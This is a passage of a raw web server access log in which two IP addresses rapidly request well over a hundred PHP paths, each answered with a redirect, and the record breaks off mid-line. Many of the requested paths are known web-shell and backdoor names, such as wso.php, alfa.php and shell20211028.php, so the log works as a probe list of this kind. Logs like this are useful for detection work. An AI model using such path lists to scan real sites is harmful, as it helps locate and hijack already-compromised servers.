[23/Apr/2025:03:17:55 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:55 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:55 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:17:56 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:56 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:56 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:56 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:56 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:57 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:57 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:57 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:57 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:57 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:57 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:17:57 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:17:57 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:57 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:57 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:17:57 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:58 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:58 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:58 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:58 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:58 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:59 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:59 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:59 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:59 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:17:59 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:59 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:59 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:59 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:00 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:00 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:00 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:00 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:01 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:01 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:01 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:18:01 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:01 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:02 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:02 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:02 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:02 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:02 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:02 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:03 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:03 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:03 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:03 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:03 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:03 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:04 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:04 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:04 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:04 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:05 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:05 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:18:05 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:05 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:06 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:06 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:06 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:07 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:07 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:07 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:18:07 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:07 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:08 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:08 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:18:08 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:09 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:10 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:10 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:10 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:11 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:11 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:11 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:12 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:12 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:12 -0400] "GET /wp-content/plugins/simple/simple.php 